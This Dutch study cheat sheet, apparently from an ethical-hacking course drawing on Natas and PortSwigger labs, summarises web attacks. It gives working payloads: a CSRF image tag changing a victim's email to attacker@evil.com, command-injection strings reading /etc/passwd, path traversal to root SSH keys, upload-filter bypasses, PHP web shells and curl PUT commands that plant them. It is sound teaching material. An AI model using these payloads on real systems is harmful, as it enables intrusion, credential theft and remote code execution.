Skip to main content
In dit onderdeel kwamen kwetsbaarheden aan bod waarbij input acties, bestanden of commando’s op de server kan beinvloeden. CSRF zat daarbij aan de client-side kant: acties uitvoeren via een bestaande sessie.

In een oogopslag

TechniekConcept
CSRFonzichtbare request: <img src=".../action?param=...">
OS command injectionshell-separator: 127.0.0.1 ; cat /etc/passwd
LFIbestandspad-param: ?file=../../../etc/passwd
File upload bypass.php binnensmokkelen (dubbel ext / MIME / case)
Web shell -> RCE<?php system($_GET['cmd']); ?>
HTTP PUT uploadcurl.exe -X PUT .../shell.php -d "<?php ... ?>"
Blind XSSstored payload die in admin-context triggert

Technieken in detail

Slachtoffer voert ongewild een actie uit. 3 voorwaarden: relevante actie ; sessie via cookies ; geen CSRF-token.
  • Zoek de action-URL van een knop (de X om iets te verwijderen, “change email”)
  • GET-CSRF via onzichtbare afbeelding:
<img src="https://site/changeEmail.php?email=attacker@evil.com" width=1 height=1>
  • POST-CSRF = verborgen auto-submit form op je eigen pagina
  • Moderne blocker: SameSite-cookie (Lax/Strict)
Gebruikersinput belandt in een shell-commando (shell_exec("ping " . $input)).
SeparatorEffect
;volgend commando los uitvoeren
&volgend commando uitvoeren
&&volgend commando als eerste lukt
``output doorpijpen (werkt vaak als rest geblokkeerd is)
Voorbeelden: 127.0.0.1 ; cat /etc/passwd ; 127.0.0.1 | cat /etc/passwd ; & echo KoenK &Argument-injectie (variant): input gaat naar grep <input> file -> a /etc/.../natas11 dictionary.txt
Een param bepaalt welk bestand geladen wordt.
  • Normaal: show.php?file=poem.txt -> misbruik: show.php?file=../../../etc/passwd
  • Doel: configfiles, credentials, SSH-keys (../root/.ssh/id_ed25519)
  • Met een private key -> ssh -i id_ed25519 root@<ip> = RCE
Krijg een server-side script (.php) geupload:
  • Geen restrictie: upload gewoon shell.php
  • MIME-check: upload .php, wijzig in Burp Content-Type: image/jpeg
  • Extensie-obfuscatie: exploit.jpg.php ; exploit.php.jpg ; exploit.pHp ; exploit.php. ; exploit%2Ephp
  • Client-side variant: geen PHP mogelijk? upload HTML/SVG met <script> -> stored XSS
De inhoud van je geuploade .php:
<?php echo file_get_contents('/tmp/koenk'); ?>      // 1 bestand lezen
<?php echo system($_GET['command']); ?>             // elk commando: ?command=id
<?php echo exec("cat /etc/natas_webpass/natas13"); ?>
Daarna gewoon opvragen: GET /uploads/shell.php?command=whoami
Geen uploadformulier? Server staat soms PUT toe:
curl.exe -vX PUT http://<target>/upload/shell.php -d "<?php system($_GET['c']); ?>"
Antwoord 201 Created -> bezoek daarna de nieuwe URL.
In PowerShell is curl.exe nodig, anders pakt PowerShell zijn eigen curl-alias.

Handige curl parameters

ParameterWat doet het?Handig wanneer
-iToont headers en body.Statuscodes zoals 201 Created of redirects zien.
-vToont extra requestdetails.Uploads, PUT en redirects debuggen.
-X PUT / -X POSTZet de HTTP-methode.PUT-upload, POST-form of method bypass testen.
-d "a=1"Stuurt data als request body.Kleine payloads of web shell inhoud testen.
--data-binary @fileStuurt bytes uit een bestand.Uploads zonder inhoud te wijzigen.
-F "file=@shell.php"Stuurt multipart form upload.Uploadformulieren nabouwen.
-H "Content-Type: image/jpeg"Zet of overschrijft content type.MIME-checks testen.
-b "session=..."Stuurt cookies mee.Upload of CSRF-actie binnen sessie herhalen.
--path-as-isNormaliseert ../ niet weg.Traversal in URL-pad testen.
-o file.txtBewaart response in bestand.Gelekte files of command output bewaren.
curl.exe -i -X PUT http://<target>/upload/shell.php -d "<?php system($_GET['c']); ?>"
curl.exe -i -F "file=@shell.php;type=image/jpeg" http://<target>/upload

Recon-commando’s

Zodra je command injection hebt:
DoelLinuxWindows
huidige userwhoamiwhoami
OSuname -aver
netwerkifconfigipconfig /all
processenps -eftasklist

Koppeling tussen input en kwetsbaarheid

1

Veld dat iets uitvoert (ping, lookup)

OS command injection hangt vaak samen met separators zoals ; & && |.
2

Param met bestandsnaam (?file=, ?page=)

LFI / directory traversal.
3

Upload-functie

Upload-bypasses draaiden in de les rond .php, MIME-types, extensie-obfuscatie en web shells.
4

Geen uploadform, wel schrijfrechten

HTTP PUT.
5

Actie-knop in een ingelogde app

CSRF-link bouwen.

Tools

curl

Terminaltool voor PUT-requests en handmatige HTTP-calls.

Burp Suite

Proxytool voor Content-Type, filenames, cookies en request bodies.

Browser DevTools

Referentie voor action-URL’s, hidden inputs en client-side uploadchecks.

PortSwigger Web Security Academy

Labs en referentie voor CSRF, upload bugs, traversal en command injection.

PayloadsAllTheThings

Payloadreferentie voor RCE, LFI, upload-bypasses en web shells.